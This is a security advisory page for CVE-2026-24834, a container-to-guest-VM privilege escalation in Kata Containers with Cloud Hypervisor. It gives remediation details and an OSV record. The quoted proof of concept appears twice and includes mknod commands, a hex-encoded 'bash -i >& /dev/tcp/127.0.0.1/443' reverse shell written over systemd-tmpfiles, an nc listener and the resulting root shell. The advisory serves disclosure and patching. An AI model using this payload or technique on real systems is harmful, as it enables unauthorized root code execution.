CVE-2026-24834: Github.com/kata containers/kata containers/src/runtime Kata Container To Guest Micro Vulnerability
MODERATE
Advisory Identifier:
GHSA-wwj6-vghv-5p64
Advisory Summary
CVE-2026-24834 is a MODERATE (CVSS 8.8) kata container to guest micro vulnerability (CWE-732: Incorrect Permission Assignment for Critical Resource) affecting Github.com/kata containers/kata containers/src/runtime libraries in the Go ecosystem. The issue involves kata container to guest micro vm privilege escalation. Remediation is available by upgrading affected packages to version 0.0.0-20260219090056-6a672503973b.
CVE-2026-24834 at a Glance
CVE Identifier
CVE-2026-24834
GHSA Identifier
GHSA-wwj6-vghv-5p64
Severity
MODERATE
CVSS v3.1 Base Score
8.8
CWE Classification
CWE-732: Incorrect Permission Assignment for Critical Resource
Affected Product
Github.com/kata containers/kata containers/src/runtime
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
Attack Vector
Local (AV:L)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Changed (S:C)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2026-24834
To remediate this vulnerability, upgrade all affected Github.com/kata containers/kata containers/src/runtime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/kata-containers/kata-containers/src/runtime
fixed: 0.0.0-20260219090056-6a672503973b
Upgrade github.com/kata-containers/kata-containers/src/runtime to 0.0.0-20260219090056-6a672503973b
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/kata-containers/kata-containers/src/runtimeHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-24834, inspect your project dependencies for Github.com/kata containers/kata containers/src/runtime:
inspect dependencies for github.com/kata-containers/kata-containers/src/runtimeAnalyze the terminal output to locate any version of Github.com/kata containers/kata containers/src/runtime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260219090056-6a672503973b), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-732: Incorrect Permission Assignment for Critical Resource, where the product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors. In Github.com/kata containers/kata containers/src/runtime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).
### Details
_Linux virtio-pmem_
The `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable.
Later, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op.
_Cloud-Hypervisor virtio_pmem_
`discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.
_Kata /dev/pmem0_
Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem.
Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped.
### PoC
When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.
To achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot.
I use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device.
If you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded.
```
root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device: /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes): 512
Partition start (bytes): 1048576
Filesystem block size: 4096
File path: /usr/bin/systemd-tmpfiles
File offset (bytes): 0
Logical block index: 0
Intra-block offset: 0
Physical block index: 40668
→ Absolute pmem offset: 167624704
[*] Raw read (64 bytes at 167624704):
09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.|
root@ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@localhost:/#
root@localhost:/# ps auxw
ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]
root 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp]
root 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq]
root 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq]
root 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns]
root 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri]
root 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]
root 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq]
root 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]
root 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]
root 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]
root 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]
root 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]
root 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]
root 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]
root 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]
root 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq]
root 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]
root 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]
root 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback]
root 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]
root 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd]
root 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd]
root 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H]
root 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]
root 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]
root 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc]
root 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache]
root 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0]
root 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld]
root 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]
root 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit]
root 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]
root 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]
root 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]
root 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]
root 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld]
root 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf]
root 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]
root 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion]
root 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]
root 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent
_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1
_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1
root 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server
message+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]
root 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]
root 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]
root 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]
root 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri]
root 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H]
root 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l
root 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]
root 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443
root 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i
root 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw
root@localhost:/#
```
### Impact
Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)
CVE-2026-24834 Affected Github.com/kata containers/kata containers/src/runtime Versions
1 component(s)
Fixed Versions:
0.0.0-20260219090056-6a672503973b
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/kata-containers/kata-containers/src/runtime
|
Go |
< 0.0.0-20260219090056-6a672503973b
|
0.0.0-20260219090056-6a672503973b
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/kata-containers/kata-containers/security/advisories/GHSA-wwj6-vghv-5p64
NVD — CVE-2026-24834
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-24834
Security Fix Commit
FIX COMMIT
https://github.com/kata-containers/kata-containers/commit/6a672503973bf7c687053e459bfff8a9652e16bf
Github.com/kata containers/kata containers/src/runtime Security Information
SECURITY
https://access.redhat.com/security/cve/CVE-2026-24834
bugzilla.redhat.com/show_bug.cgi
WEB
https://bugzilla.redhat.com/show_bug.cgi?id=2441025
Github.com/kata containers/kata containers/src/runtime Source Repository
REPOSITORY
https://github.com/kata-containers/kata-containers
Github.com/kata containers/kata containers/src/runtime Release
RELEASE
https://github.com/kata-containers/kata-containers/releases/tag/3.27.0
Github.com/kata containers/kata containers/src/runtime Security Information
SECURITY
https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24834.json
Frequently Asked Questions
What is CVE-2026-24834?
CVE-2026-24834 is a security vulnerability in Github.com/kata containers/kata containers/src/runtime involving Kata Container to Guest micro VM privilege escalation under CWE-732: Incorrect Permission Assignment for Critical Resource.
Which Github.com/kata containers/kata containers/src/runtime versions are affected?
Affected versions include releases prior to 0.0.0-20260219090056-6a672503973b across affected packages: github.com/kata-containers/kata-containers/src/runtime.
What version fixes CVE-2026-24834?
Upgrading to 0.0.0-20260219090056-6a672503973b (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kata-containers/kata-containers/src/runtime affected?
Yes, github.com/kata-containers/kata-containers/src/runtime is affected in releases prior to 0.0.0-20260219090056-6a672503973b. Upgrade your dependency to 0.0.0-20260219090056-6a672503973b or later.
What is the CVSS score of CVE-2026-24834?
CVE-2026-24834 has a CVSS v3.1 base score of 8.8 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-24834?
CVE-2026-24834 is classified under CWE-732: Incorrect Permission Assignment for Critical Resource (The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.).
How can I check Go dependencies for CVE-2026-24834?
Run the dependency tree command: 'inspect dependencies for github.com/kata-containers/kata-containers/src/runtime'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-wwj6-vghv-5p64",
"modified" : "2026-07-28T01:48:00Z",
"published" : "2026-02-19T15:25:54Z",
"aliases" : [ "CVE-2026-24834" ],
"summary" : "Kata Container to Guest micro VM privilege escalation",
"details" : "### Summary\n\nAn issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).\n\n### Details\n\n_Linux virtio-pmem_\nThe `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region->ro always` stays cleared and the block device is left writable.\n\nLater, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics – the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op.\n\n_Cloud-Hypervisor virtio_pmem_\n`discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.\n\n_Kata /dev/pmem0_\nKata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem.\nSince DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped.\n\n### PoC\n\nWhen putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.\n\nTo achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot.\nI use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device.\n\nIf you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it's `dd` readable until discarded.\n\n```\nroot@ab5392da44ce:~# mknod /dev/pmem0 b 259 0\nroot@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1\nroot@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a\n=== Resolution ===\nPartition device: /dev/pmem0p1 (pmem0p1)\nPartition start (sectors): 2048\nSector size (bytes): 512\nPartition start (bytes): 1048576\nFilesystem block size: 4096\nFile path: /usr/bin/systemd-tmpfiles\nFile offset (bytes): 0\nLogical block index: 0\nIntra-block offset: 0\nPhysical block index: 40668\n→ Absolute pmem offset: 167624704\n[*] Raw read (64 bytes at 167624704):\n09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|\n09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......|\n09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|\n09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|\n[+] Wrote 58 bytes at absolute offset 167624704. Verifying...\n09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|\n09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|\n09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|\n09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.|\nroot@ab5392da44ce:~# nc -lvp 443\nNcat: Version 7.93 ( https://nmap.org/ncat )\nNcat: Listening on :::443\nNcat: Listening on 0.0.0.0:443\nNcat: Connection from 127.0.0.1.\nNcat: Connection from 127.0.0.1:44880.\nbash: cannot set terminal process group (329): Inappropriate ioctl for device\nbash: no job control in this shell\nroot@localhost:/# \nroot@localhost:/# ps auxw\nps auxw\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init\nroot 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]\nroot 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]\nroot 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp]\nroot 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq]\nroot 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq]\nroot 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns]\nroot 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri]\nroot 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]\nroot 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq]\nroot 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]\nroot 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]\nroot 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]\nroot 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]\nroot 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]\nroot 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]\nroot 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]\nroot 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]\nroot 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq]\nroot 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]\nroot 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]\nroot 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback]\nroot 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]\nroot 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd]\nroot 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd]\nroot 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H]\nroot 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]\nroot 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]\nroot 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc]\nroot 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache]\nroot 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0]\nroot 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld]\nroot 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]\nroot 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit]\nroot 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]\nroot 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]\nroot 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]\nroot 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]\nroot 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld]\nroot 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf]\nroot 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]\nroot 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion]\nroot 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]\nroot 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent\n_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1\n_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1\nroot 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server\nmessage+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\nroot 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]\nroot 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]\nroot 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]\nroot 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]\nroot 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri]\nroot 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H]\nroot 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l\nroot 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]\nroot 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443\nroot 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean\nroot 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i\nroot 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw\nroot@localhost:/#\n```\n\n### Impact\nContainer to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/kata-containers/kata-containers/src/runtime"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260219090056-6a672503973b"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/kata-containers/kata-containers/security/advisories/GHSA-wwj6-vghv-5p64"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24834"
}, {
"type" : "WEB",
"url" : "https://github.com/kata-containers/kata-containers/commit/6a672503973bf7c687053e459bfff8a9652e16bf"
}, {
"type" : "WEB",
"url" : "https://access.redhat.com/security/cve/CVE-2026-24834"
}, {
"type" : "WEB",
"url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2441025"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/kata-containers/kata-containers"
}, {
"type" : "WEB",
"url" : "https://github.com/kata-containers/kata-containers/releases/tag/3.27.0"
}, {
"type" : "WEB",
"url" : "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24834.json"
} ],
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"cwe_ids" : [ "CWE-281", "CWE-732" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-19T15:25:54Z",
"nvd_published_at" : "2026-02-19T17:24:49Z"
}
}